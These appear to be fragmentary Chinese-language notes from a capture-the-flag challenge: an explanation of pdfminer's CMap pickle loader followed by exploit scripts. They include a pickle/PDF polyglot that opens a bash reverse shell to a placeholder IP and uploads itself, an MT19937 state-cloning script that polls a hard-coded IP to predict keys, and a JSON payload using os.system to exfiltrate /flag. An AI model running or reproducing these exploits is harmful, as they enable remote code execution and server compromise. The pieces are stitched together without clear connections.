class CMapDB:
    _cmap_cache: Dict[str, PyCMap] = {}
    _umap_cache: Dict[str, List[PyUnicodeMap]] = {}

    class CMapNotFound(CMapError):
        pass

    @classmethod
    def _load_data(cls, name: str) -> Any:
        name = name.replace("\0", "")
        filename = "%s.pickle.gz" % name
        log.debug("loading: %r", name)
        cmap_paths = (
            os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
            os.path.join(os.path.dirname(__file__), "cmap"),
        )
        for directory in cmap_paths:
            path = os.path.join(directory, filename)
            if os.path.exists(path):
                gzfile = gzip.open(path)
                try:
                    return type(str(name), (), pickle.loads(gzfile.read()))
                finally:
                    gzfile.close()
        raise CMapDB.CMapNotFound(name)        
这段代码的作用是
CMapDB 是一个管理 CMap（字符映射表）和 UnicodeMap（Unicode 映射表）缓存的数据库类。
_load_data 方法用于根据映射表名称 name，查找并加载对应的 CMap 数据文件（如 cmap/ 目录下的 pickle.gz 文件），并将其反序列化为 Python 对象。
如果找不到对应的文件，则抛出 CMapNotFound 异常。
代码解释：
name.replace("\0", "")：去除名称中的空字符，防止异常。
filename = "%s.pickle.gz" % name：拼接出要查找的文件名。
cmap_paths：定义了两个查找路径，优先使用环境变量 CMAP_PATH，否则用当前模块下的 cmap 目录。
遍历 cmap_paths，每个目录下查找 filename 文件。
如果文件存在，使用 gzip 打开并读取内容，然后用 pickle 反序列化为 Python 对象，并用 type 创建一个动态类型对象（名字为 name，内容为解包后的字典）。
如果所有路径都找不到文件，则抛出 CMapNotFound 异常。
简而言之，这段代码的作用是：根据 CMap 名称，自动查找并加载 PDF 字符映射表数据，为后续 PDF 解析和字符转换提供支持。

trailer<</Root 1>>
xref

import gzip
import zlib
import requests

pdf = b"""(S\"
trailer
<</Root 1>>
xref
\""""


def opcode():
    a = '''(S"bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'"
ios
system
.'''
    return a.encode()


cmap_file = "sauy122.pickle.gz"
with gzip.open(cmap_file, 'wb') as f:
    f.write(opcode())

comp = zlib.compressobj(level=0,
                        method=zlib.DEFLATED,
                        wbits=31)

gz_bytes = comp.compress(pdf) + comp.flush()

with open(cmap_file, "ab") as f:
    f.write(gz_bytes)


url = "http://ip/"
requests.post(url + "/upload",files={"file": open(cmap_file, 'rb')})

把pickle数据gzip压一下，然后 010editor 把里面表示文件名那一段替换成 odf原文

def generate_random_string():
    return str(rd.getrandbits(32))

import requests
from random import Random

# ---------- MT19937 tempering 反转 ----------
def invert_right(m, l, val=''):
    length = 32
    mx = 0xffffffff
    if val == '':
        val = mx
    i, res = 0, 0
    while i * l < length:
        mask = (mx << (length - l) & mx) >> (i * l)
        tmp = m & mask
        m = m ^ (tmp >> l & val)
        res += tmp
        i += 1
    return res

def invert_left(m, l, val):
    length = 32
    mx = 0xffffffff
    i, res = 0, 0
    while i * l < length:
        mask = (mx >> (length - l) & mx) << (i * l)
        tmp = m & mask
        m ^= tmp << l & val
        res |= tmp
        i += 1
    return res

def invert_temper(m):
    m = invert_right(m, 18)
    m = invert_left(m, 15, 4022730752)
    m = invert_left(m, 7, 2636928640)
    m = invert_right(m, 11)
    return m

def clone_mt(record):
    state = [invert_temper(i) for i in record]
    gen = Random()
    gen.setstate((3, tuple(state + [0]), None))
    return gen

# ---------- 从接口收集随机数 ----------
prng = []
api_url = "http://47.109.207.123:11451/api"

while len(prng) < 624:
    r = requests.post(api_url, json={"key":"122"})
    num = int(r.json()["message"].split(":")[1])
    prng.append(num)
    print(len(prng), num)  # 打印收集进度

# ---------- 克隆 MT 并预测后 20 个随机数 ----------
g = clone_mt(prng)
for _ in range(624):
    g.getrandbits(32)  # 消耗前 624 个数字，让状态同步

print("Next 20 predicted random numbers:")
for _ in range(20):
    print(g.getrandbits(32))

{"key":"3384741307",
"payload":"__import__('os').system('mkdir /app/static&& cat /flag > /app/static/flag.txt')"}